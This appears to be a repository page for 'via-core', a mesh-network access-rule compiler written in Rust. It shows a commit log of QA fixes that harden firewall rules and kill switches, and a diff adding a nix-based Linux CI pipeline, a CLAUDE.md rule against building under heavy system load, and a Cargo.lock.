27 Commits

Author SHA1 Message Date
mnovak 06ce17fbfe docs(CLAUDE.md): no build or test while CPU or RAM is over 90 %, or a written-to drive over 95 % (Mark) 2026-11-29 01:55:21 +01:00
mnovak 175cb5dc60 Merge feature/roads: Day 2, roads, the compiler and proto v1 (PR #1)
QA findings F-01 to F-10 and B-3 fixed; B-1, F-12 and F-13 recorded as gaps. 91 tests on Windows (debug and release), 182 on Linux (Fabrica nixos-vm run rpnb803g4v0t0); fuzz 601 s per target, 0 crashes.
2026-11-26 05:24:37 +01:00
mnovak 88858ef235 docs: HANDOVER for v0.1.0, with the Linux run on Fabrica's runner (QA F-11 closed) and the fuzz rerun 2026-11-26 05:24:21 +01:00
mnovak 63eaed563b ci(linux): the toolchain step starts with nix, with no && inside, for Fabrica's preflight 2026-11-26 04:24:35 +01:00
mnovak 61e1f1da19 ci: the workspace once on Linux, on Fabrica's NixOS runner, before the tag (QA F-11)
Mark, 2026-11-26: the Linux run goes on Fabrica's server runner. The flake gives only the
toolchain (nixos-26.05, locked as Ianitor's); the pipeline runs cargo test --workspace in debug
and release. It builds and switches nothing on the server.
2026-11-26 04:21:10 +01:00
mnovak 3b39ce137d [roads] Mark's decision: person and group grants leave classic devices out
Mark, 2026-11-25, "Leave classic out": a grant to a person or a group covers
only their post-quantum devices. A classic router is reached only through a
device: road of its own, which says classic: true. Before, a person grant
covered their classic devices and so needed classic: true itself, and one
classic device blocked every road of its owner (builder's self-review #5).
New test a_person_grant_never_covers_their_classic_device, which fails with
the old compiler. Docs and HANDOVER updated: 91 tests, debug and release.
2026-11-25 10:58:57 +01:00
mnovak 18e0c50e08 [docs] HANDOVER: via-core after the QA fixes, with counts, fuzz runs and what is left 2026-11-25 09:24:29 +01:00
mnovak f21f8d59fc [docs] Day 2 after QA: what each finding changed, the gaps left, open question 1 answered
02_via-core.md now describes the model as built after the QA fixes (service
addresses, app on:, fail-closed kill switch, the tunnel winning over going
direct, dangling references, empty narrowing keys, missing roads/), maps every
finding to its resolution, and lists what is recorded rather than fixed:
B-1 replay (Day 3 proto v2), a kill-switch file that does not parse, the
app-level /0 bypass, case-sensitive ids, no Linux run, and explain/check as
admin, which blocks the Day 5 web view.
2026-11-25 09:09:01 +01:00
mnovak 73426592e4 [roads] QA F-10: IPv6 is checked by embedding the property's worlds into fd00::/96
The least-privilege oracle works in u32, so P-1 never saw an IPv6 address.
P-6v6 (1,000 cases) writes the same generated world with every IPv4 address a
as fd00::a and every /L as /(L+96) (the default route as ::/0), compiles both,
and requires the IPv6 plans to equal the IPv4 plans mapped the same way, with
the same problems. So every IPv6 path behaves like the IPv4 one P-1 checks
against the oracle. Mutation-checked: IPv6 hosts as /127 fails it at once.
2026-11-25 09:07:24 +01:00
mnovak b482e264d2 [roads] QA B-3: an app road names whose devices it is for, and reaches only those
subject: app:<id> applied to every device in the mesh, so whoever could write
one road (app:steam goes-direct 0.0.0.0/0) changed the tunnel of other
people's devices, an exit and a classic router. An app road now needs the new
header key on: (a person, group or device), and reaches only those devices;
on: is forbidden on any other subject. The home fixture's steam road is on
Mark's devices, so it leaves Jana's, Petr's and the router's plans. Four
fixtures, a B-3 test (fails if app roads reach every device again), the
property generator scopes app roads to a person, and the R-55 renaming
rewrites on: like subject:.
2026-11-25 09:04:50 +01:00
mnovak 69e3a9377d [roads] QA F-01: a service road grants only that service
A firewall sees an address and a port, never a hostname, so a road to
photos.home.arpa compiled to home-server:443 and also opened git.home.arpa
there. Rules are now per service:

- devices.json services may carry their own mesh address (same rules as a
  device address, unique among all of them). A road to such a service compiles
  to that address only; the hosting device's plan lists it in the new field
  services[] so it answers on it, and DNS points there.
- A road to a service that shares its address and a port with another service
  is refused (service.shared), naming the others, instead of opening both.
  Narrowing ports: to a port nobody else serves on that address is allowed.
- A device: road reaches the whole device: its own address and its services'
  own addresses.

No Ianitor identity check is needed for this. The home fixture gives photos
its own address (100.96.1.2); tests that encoded the old host:port model are
updated, three new snapshot fixtures cover the address rules, and the golden
plans and pinned digest are regenerated. Mutation-checked: dropping the
refusal, or ignoring the service address, each fails an F-01 test.
2026-11-25 09:01:18 +01:00
mnovak 80f73a0154 [roads] QA F-02: going direct never takes what the tunnel carries out of it
A goes-direct subnet was only checked to be canonical, and the kill switch
dropped it only when it reached the internet, so 100.96.0.0/16 (every mesh
address) or the home LAN that the plan routes into the tunnel compiled cleanly.

Now, decided here because the plan has to say which route wins:
- a goes-direct subnet other than /0 that holds a mesh address is refused
  (direct.mesh);
- per device, a direct subnet inside a net the plan tunnels is dropped and
  reported (direct.tunnelled);
- a direct subnet that holds tunnelled nets keeps them in the tunnel, listed
  in the new plan field direct[].except. A platform that cannot honour except
  (an app-level bypass) must not apply the entry.

The F-02 test now checks that every overlap is covered by except, and that
only the mesh subnet is refused. Golden plans and the pinned jana-phone digest
are regenerated: the only change is the except lists. Plan format 1 has not
been released, so it changes in place.
2026-11-25 08:54:51 +01:00
mnovak ecafe194a5 [roads] QA F-05 and F-06: classic custom blocks, and roads across address families
F-05: plan.custom took classic from the road only, so a raw block on a classic
device without classic: true was labelled post-quantum. The device's flag now
counts too, as it already did for peers.

F-06: a device has one mesh address, so a can-reach road from IPv4 devices to
an IPv6 place compiled to rules that could never match, silently. Those
devices now get nothing for that road, and the road is reported inactive
(road.family) naming them.
2026-11-25 08:52:01 +01:00
mnovak ff78361165 [roads] QA F-08: a mesh address is never an internet address
devices.address refused only special and IPv4-embedding ranges, so a public
address was accepted, and an exit's forward-to-internet rule then covered that
device's mesh address. Mesh addresses now stay inside the not-internet ranges
(100.64.0.0/10, RFC 1918, ULA). Two fixtures, IPv4 and IPv6.
2026-11-25 08:50:23 +01:00
mnovak 31a46d0367 [roads] rename.rs: a new id never spells a word the output already holds
The R-55 property mapped renamed strings back anywhere in the output, so a
group renamed to `in` turned every firewall "direction": "in" into the
group's old name and failed about once in four runs (seed
8124609985917702487). The renaming now reserves every string the plans and
problems hold; the seed is kept as a fixed test, which fails without the
reservation. No change to the compiler.
2026-11-25 08:50:23 +01:00
mnovak 3bd87ebccf [roads] QA F-03: a kill-switch road with an error fails closed, through no exit
Any check() error used to make a road grant nothing, and for
never-online-without nothing meant no kill switch: an exit that stopped being
one (or left devices.json) silently turned off every kill switch through it.
The road is still reported as an error, but its subject's kill switch stays
on through no exit (only the mesh), and going direct to the internet is still
dropped. An expired kill switch ends as written. The road_file fuzz target's
deny-by-default check now allows exactly that narrowing and nothing else.
2026-11-25 08:46:30 +01:00
mnovak acb98a6a1c [roads] QA F-04: a dangling owner or group member drops only itself, not every plan
Deleting a person from directory.json without editing devices.json left a
dangling owner, a snapshot error, and so no plans for anybody. A well-formed
owner or member id that is not a person is now reported on its own codes
(devices.owner-unknown, directory.member-unknown) and removed: the device is
ownerless, the member leaves the group. Malformed ids, duplicates and bad JSON
still stop every plan. Two new structural fixtures keep devices.owner and
directory.member covered.
2026-11-25 08:44:09 +01:00
mnovak b6cf29b9a0 [roads] QA F-07: a missing roads/ folder is store.roads, and roads/ is never followed through a link
A store folder without roads/ compiled to plans with no access and no problem,
kill switches included. It is now an error naming roads. A roads/ that is a
file or a symbolic link is refused the same way (the builder's self-review #8):
entries inside were already refused, the folder itself was followed.
2026-11-25 08:41:10 +01:00
mnovak 93ab087648 [roads] QA F-09: a present but empty until: or ports: is key.empty, never absent
Clearing a narrowing field (until:, until: # comment, ports:) used to read as
absent, which is the widest value: a permanent grant or all traffic. It is now
an error, so the road grants nothing. Three fixtures, FORMATS.md updated, and
the F-09 test is no longer ignored.
2026-11-25 08:40:01 +01:00
mnovak 635d3802c1 [roads] QA F-09: an emptied until: or ports: silently widens a road (failing test, ignored)
until: with no value (or only a comment) reads as absent, so a temporary grant
becomes permanent; ports: with no value reads as all traffic. No problem is
reported. Verified to fail on this code.
2026-11-25 08:17:26 +01:00
mnovak 7087b06e24 [roads] rustfmt the QA tests and the fuzz targets (no change in behaviour) 2026-11-25 08:16:24 +01:00
mnovak d5917e7aab [fuzz] cargo fuzz targets for the road-file parser and the control envelope
road_file: any bytes as one road file in the home store. The parser never panics;
a road that parses renders to canonical text that parses back to the same road
and rendering is a fixed point; compile never panics; and a file that does not
parse, or a road the compiler reports an error for, leaves every plan
byte-identical (deny by default).

envelope: Envelope::decode never panics; whatever it accepts re-encodes, decodes
to the same envelope and encodes stably.

Own workspace, as cargo fuzz lays it out. On Windows with the stable MSVC
toolchain and no sanitizer, build.rs links win_sections.c, which gives the
SanitizerCoverage counters their COFF section bounds (compiler-rt only ships them
inside a sanitizer runtime); the exact command is in road_file.rs.
2026-11-25 08:15:53 +01:00
mnovak 828962a9e9 [roads] QA review of PR #1: one failing test per open finding, ignored until fixed
Eight tests, each #[ignore]d with its finding id (F-01 to F-08 in
Via/qa/review-via-core-pr1.md), each verified to FAIL on this code for the reason
it names (cargo test -p roads --test qa_findings -- --ignored: 0 passed, 8 failed):

F-01 a service road opens every service on the same host and port (explain admits it)
F-02 goes-direct may name mesh addresses or tunnelled subnets, kill switch or not
F-03 a kill switch whose exit stops being one fails open
F-04 deleting a person from directory.json leaves no plan for anybody
F-05 a custom block on a classic device is labelled classic: false
F-06 a road across address families compiles into a rule that never matches
F-07 a missing roads/ folder is not reported
F-08 a public address is accepted as a mesh address
2026-11-25 08:15:53 +01:00
mnovak d02bbff41c [roads] QA R-55: renaming every id gives an isomorphic plan, problems and explain
A proptest (300 seeds) renames every road id, person id, group id, device key,
device name and service hostname of the home store plus five roads that hit the
order-sensitive paths (an exit conflict each way round, two kill switches through
different exits, two path hints to one peer), compiles both, maps the output back
and compares plans, problems and explain.

Mutation-checked and reverted: 'first exit by key wins' on an exit conflict, and
'smallest road id wins' on disagreeing kill switches, each fail the property.
2026-11-25 08:07:15 +01:00
mnovak b9c0e764e6 [docs] Day 2 as built: QA's attack plan answered case by case, the property design, gaps and open questions 2026-11-25 07:55:38 +01:00
mnovak 38a2fea043 [roads] The road model, validator, compiler and explain; proto's versioned CBOR messages; the via command
Road files in Pensum's strict header subset (unknown keys are errors, random ids), the
directory and device snapshots, deny-by-default compilation to one plan per device,
explain from the compiler's own grants, CBOR envelope v1 with version-first refusals.

Tests: the six mandatory ones (validation fixtures for every rule, revocation, the
least-privilege property against an independent oracle, determinism with golden plans,
explain, custom round-trip), QA's attack cases, the protocol and the CLI.
2026-11-25 07:55:38 +01:00
mnovak f134ec652c [docs] Day 2 design: the road model, the compiler, the id formats found, risks and gaps; FORMATS.md field by field 2026-11-25 07:23:50 +01:00
152 changed files with 12236 additions and 0 deletions
+21
View File
@@ -0,0 +1,21 @@
# via-core: the whole workspace once on Linux, on the server's NixOS runner, before the v0.1.0 tag (QA F-11; Mark,
# 2026-11-26: "Fabrica server runner"). By hand (Artifex → via-core → linux, or the hub's POST /api/runs with
# pipeline linux and a ref), or on a push to feature/roads or ci/linux. It builds and switches nothing on the
# server. Every run line starts with `nix` and has no `&&`, `;` or `|` (Fabrica's preflight reads each part's first
# word as a runner tool). The toolchain is the flake's `ci` shell (nixos-26.05).
name: linux
on:
push: [feature/roads, ci/linux]
manual: true
runner: nixos
env:
CARGO_TERM_COLOR: "never"
steps:
- id: toolchain
run: nix --extra-experimental-features "nix-command flakes" develop .#ci -c cargo --version
- id: test-debug
needs: [toolchain]
run: nix --extra-experimental-features "nix-command flakes" develop .#ci -c cargo test --workspace --no-fail-fast
- id: test-release
needs: [test-debug]
run: nix --extra-experimental-features "nix-command flakes" develop .#ci -c cargo test --workspace --release --no-fail-fast
+1
View File
@@ -4,6 +4,7 @@
# Fuzzing and proptest artefacts
/fuzz/target/
/fuzz/target-none/
/fuzz/corpus/
/fuzz/artifacts/
**/proptest-regressions/*.tmp
+10
View File
@@ -16,3 +16,13 @@ Read HANDOVER.md and the day's docs/NN_*.md before writing code.
## Workflow
(D)TDD doc → tests → code. Branch, PR with critical self-review, merge --no-ff, push, verify.
No AI attribution in commits. No binaries in git. Say which build you are describing.
## This PC
- **No build or test while this PC is too busy** (Mark, 2026-11-25; drive limit raised 2026-11-29). Never start a
build or a test run (cargo, npm/pnpm, Playwright, fuzz, e2e, Fabrica runs on this PC) while the CPU or the RAM is
more than 90 % used, or any drive the run writes to (D:, E:, F:) is more than 95 % used. Check first; if one is
over, don't start, wait and check again. A run already going may finish. Never stop other sessions' work to make
room. Merging, pushing and editing files are not builds. In PowerShell: CPU
`(Get-CimInstance Win32_Processor | Measure-Object LoadPercentage -Average).Average`; RAM
`$o=Get-CimInstance Win32_OperatingSystem; (1-$o.FreePhysicalMemory/$o.TotalVisibleMemorySize)*100`; drives
`Get-PSDrive D,E,F`, used / (used + free).
Generated
+709
View File
@@ -0,0 +1,709 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 4
[[package]]
name = "autocfg"
version = "1.5.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53"
[[package]]
name = "base64"
version = "0.22.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
[[package]]
name = "bit-set"
version = "0.11.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "56d87354e4229f54a44f7bf2435906a4656dba36026ab6eaca629a2c436a691c"
dependencies = [
"bit-vec",
]
[[package]]
name = "bit-vec"
version = "0.10.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "72503af1e72be411d74ca45cd6b309878fcb35354e252fc2a3a8bda3a97082a0"
dependencies = [
"borsh",
"serde",
]
[[package]]
name = "bitflags"
version = "2.13.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3ded4057c258ba199e2d26386d3af3780957ecaee6c4ef4041c6b4b8b97c0b06"
[[package]]
name = "block-buffer"
version = "0.10.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
dependencies = [
"generic-array",
]
[[package]]
name = "borsh"
version = "1.8.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "553c5d846a6ba5150c65e3b1b8ec073bcf1abc20f9b7220de384a4443ea4e20a"
dependencies = [
"borsh-derive",
"bytes",
"cfg_aliases",
]
[[package]]
name = "borsh-derive"
version = "1.8.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "12cdfe656708a01f89b451a7d36466e6fe6c414de0aa18fc54f864f6f9ca9f56"
dependencies = [
"once_cell",
"proc-macro-crate",
"proc-macro2",
"quote",
"syn 3.0.10",
]
[[package]]
name = "bytes"
version = "1.12.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "776dfebd015e2d8732c684a2c71003674ccb49457b539b9e82151ba38e96dd7c"
[[package]]
name = "cfg-if"
version = "1.0.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4e7648175b45a9a48536d676f68d918270699102aa8dab5496df06904c914600"
[[package]]
name = "cfg_aliases"
version = "0.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527"
[[package]]
name = "chacha20"
version = "0.10.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06"
dependencies = [
"cfg-if",
"cpufeatures 0.3.1",
"rand_core",
]
[[package]]
name = "ciborium"
version = "0.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e"
dependencies = [
"ciborium-io",
"ciborium-ll",
"serde",
]
[[package]]
name = "ciborium-io"
version = "0.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757"
[[package]]
name = "ciborium-ll"
version = "0.2.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9"
dependencies = [
"ciborium-io",
"half",
]
[[package]]
name = "core_detect"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7f8f80099a98041a3d1622845c271458a2d73e688351bf3cb999266764b81d48"
[[package]]
name = "cpufeatures"
version = "0.2.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
dependencies = [
"libc",
]
[[package]]
name = "cpufeatures"
version = "0.3.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5ca28b0ae3115b884660db4118d803791fd6756b6e88f39c0f3f7859060d7566"
dependencies = [
"libc",
]
[[package]]
name = "crunchy"
version = "0.2.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5"
[[package]]
name = "crypto-common"
version = "0.1.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a"
dependencies = [
"generic-array",
"typenum",
]
[[package]]
name = "digest"
version = "0.10.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
dependencies = [
"block-buffer",
"crypto-common",
]
[[package]]
name = "equivalent"
version = "1.0.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "00d174d5400e5e8fd687ad1049e2f578285fa914201b1af7e8b112a4546bd826"
[[package]]
name = "errno"
version = "0.3.15"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e35d6e78f4cebb90e51d543db8fe41528851d6deeef6ef21ebd4bfdc1e784776"
dependencies = [
"libc",
"windows-sys",
]
[[package]]
name = "fastrand"
version = "2.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223"
[[package]]
name = "fnv"
version = "1.0.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
[[package]]
name = "generic-array"
version = "0.14.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a"
dependencies = [
"typenum",
"version_check",
]
[[package]]
name = "getrandom"
version = "0.4.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099"
dependencies = [
"cfg-if",
"libc",
"r-efi",
"rand_core",
]
[[package]]
name = "half"
version = "2.7.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6ea2d84b969582b4b1864a92dc5d27cd2b77b622a8d79306834f1be5ba20d84b"
dependencies = [
"cfg-if",
"crunchy",
"zerocopy",
]
[[package]]
name = "hashbrown"
version = "0.17.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "735eaa21a6a5ffb2e84362faaeb90c05ba8e19797ca30428478cb6ea3a4921bc"
[[package]]
name = "indexmap"
version = "2.14.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cc4e190f5d26ca7051642629da2c52fc03bde85a03197c99408dcd291734c855"
dependencies = [
"equivalent",
"hashbrown",
]
[[package]]
name = "ipnet"
version = "2.12.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "791930b43c0d5973160d90a8f3894509f2b273430f5c5c73b668636d0287c5c0"
[[package]]
name = "itoa"
version = "1.0.19"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3bd1574e617a9a6c1f8f8181bd7e841e1f20e4277607ef28945765188d6284d4"
[[package]]
name = "jiff"
version = "0.2.46"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "175dc66334db3b9ab9985bf8b61cfed50dc16d20964bb47f9e479adcae984a7f"
dependencies = [
"jiff-core",
"jiff-static",
"log",
"portable-atomic",
"portable-atomic-util",
"serde_core",
]
[[package]]
name = "jiff-core"
version = "0.1.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e599b80292e597019b8b3e392de3f4bea2959ddfb8c7dff60e035e9e311a2c1b"
dependencies = [
"log",
]
[[package]]
name = "jiff-static"
version = "0.2.46"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c7b1af7547d47354bc438d797e3854601bde8f8d185780c5ba4ab27afa54f1ba"
dependencies = [
"jiff-core",
"proc-macro2",
"quote",
"syn 2.0.119",
]
[[package]]
name = "libc"
version = "0.2.191"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "65cd87c9a6d60536580b316ad985726104730a5151c99845f2490428ef91240a"
[[package]]
name = "linux-raw-sys"
version = "0.12.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53"
[[package]]
name = "log"
version = "0.4.35"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5d15f86d12da44cd8d4ec3c73984537eb7f4cadcb9776a575a0a8a05ca11005c"
[[package]]
name = "memchr"
version = "2.8.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
[[package]]
name = "num-traits"
version = "0.2.19"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
dependencies = [
"autocfg",
]
[[package]]
name = "once_cell"
version = "1.21.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50"
[[package]]
name = "portable-atomic"
version = "1.15.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85"
[[package]]
name = "portable-atomic-util"
version = "0.2.8"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "10ab3eb7f3becc3a1cbc4f2c6f20267996cfc1a6467a873763411b136a122715"
dependencies = [
"portable-atomic",
]
[[package]]
name = "proc-macro-crate"
version = "3.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e67ba7e9b2b56446f1d419b1d807906278ffa1a658a8a5d8a39dcb1f5a78614f"
dependencies = [
"toml_edit",
]
[[package]]
name = "proc-macro2"
version = "1.0.107"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9"
dependencies = [
"unicode-ident",
]
[[package]]
name = "proptest"
version = "1.12.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b8530004ccb15eae51c7e40009fbe317f341f804db54dc033eec1c50be28cfa0"
dependencies = [
"bit-set",
"bit-vec",
"bitflags",
"chacha20",
"core_detect",
"num-traits",
"rand",
"rand_xorshift",
"regex-syntax",
"rusty-fork",
"tempfile",
"unarray",
]
[[package]]
name = "proto"
version = "0.1.0"
dependencies = [
"ciborium",
"jiff",
"roads",
"serde",
"sha2",
]
[[package]]
name = "quick-error"
version = "1.2.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0"
[[package]]
name = "quote"
version = "1.0.47"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001"
dependencies = [
"proc-macro2",
]
[[package]]
name = "r-efi"
version = "6.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf"
[[package]]
name = "rand"
version = "0.10.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8f6fa277c67e6ea590466f04c3fe82cb509f0864fe470643e5570de9514a9b11"
dependencies = [
"getrandom",
"rand_core",
]
[[package]]
name = "rand_core"
version = "0.10.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69"
[[package]]
name = "rand_xorshift"
version = "0.5.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "60aa6af80be32871323012e02e6e65f8a7cc7890931ae421d217ad8fe0df2ccf"
dependencies = [
"rand_core",
]
[[package]]
name = "regex-syntax"
version = "0.8.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d902046e6a28a1e4c3cab97258a0ce11e994903f01c2d97a9447a0b3df85f4f6"
[[package]]
name = "roads"
version = "0.1.0"
dependencies = [
"base64",
"ipnet",
"jiff",
"proptest",
"serde",
"serde_json",
"tempfile",
]
[[package]]
name = "rustix"
version = "1.1.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e5e76742e5294153d4dde1207dbec5bdd81eef6fabdc0d2118babadabfd858aa"
dependencies = [
"bitflags",
"errno",
"libc",
"linux-raw-sys",
"windows-sys",
]
[[package]]
name = "rusty-fork"
version = "0.3.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cc6bf79ff24e648f6da1f8d1f011e9cac26491b619e6b9280f2b47f1774e6ee2"
dependencies = [
"fnv",
"quick-error",
"tempfile",
"wait-timeout",
]
[[package]]
name = "serde"
version = "1.0.229"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba"
dependencies = [
"serde_core",
"serde_derive",
]
[[package]]
name = "serde_core"
version = "1.0.229"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48"
dependencies = [
"serde_derive",
]
[[package]]
name = "serde_derive"
version = "1.0.229"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348"
dependencies = [
"proc-macro2",
"quote",
"syn 3.0.10",
]
[[package]]
name = "serde_json"
version = "1.0.154"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e7e9cc8b1b85264074fbcc02a88680c4096b1e47df8f739dceb03bf482f04bd6"
dependencies = [
"itoa",
"memchr",
"serde",
"serde_core",
"zmij",
]
[[package]]
name = "sha2"
version = "0.10.9"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
dependencies = [
"cfg-if",
"cpufeatures 0.2.17",
"digest",
]
[[package]]
name = "syn"
version = "2.0.119"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "syn"
version = "3.0.10"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4ae9ccbea3a7b0b09443036490c8f34a8b1b760fd345e5c0dae0aac718faea79"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "tempfile"
version = "3.27.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd"
dependencies = [
"fastrand",
"getrandom",
"once_cell",
"rustix",
"windows-sys",
]
[[package]]
name = "toml_datetime"
version = "1.1.3+spec-1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "173f25c883cd2176a2d8212155638c0a60d484a9d84546d270866f40f56b6e49"
dependencies = [
"serde_core",
]
[[package]]
name = "toml_edit"
version = "0.25.21+spec-1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "88497dab46de5bf343ec66b05c251e48c6213f3e9170c70a70a823f7abe886a4"
dependencies = [
"indexmap",
"toml_datetime",
"toml_parser",
"winnow",
]
[[package]]
name = "toml_parser"
version = "1.1.7+spec-1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0bb28d6e049a9766c3bd91a8326e6179f5b132dec87906bb97018ef7a2f3431a"
dependencies = [
"winnow",
]
[[package]]
name = "typenum"
version = "1.20.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"
[[package]]
name = "unarray"
version = "0.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "eaea85b334db583fe3274d12b4cd1880032beab409c0d774be044d4480ab9a94"
[[package]]
name = "unicode-ident"
version = "1.0.27"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a2c754d6c33795a1c324727428e5a7dedb5b06195f9890bdbcba760d3e246563"
[[package]]
name = "version_check"
version = "0.9.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
[[package]]
name = "via-cli"
version = "0.1.0"
dependencies = [
"jiff",
"proto",
"roads",
"serde_json",
"tempfile",
]
[[package]]
name = "wait-timeout"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "09ac3b126d3914f9849036f826e054cbabdc8519970b8998ddaf3b5bd3c65f11"
dependencies = [
"libc",
]
[[package]]
name = "windows-link"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
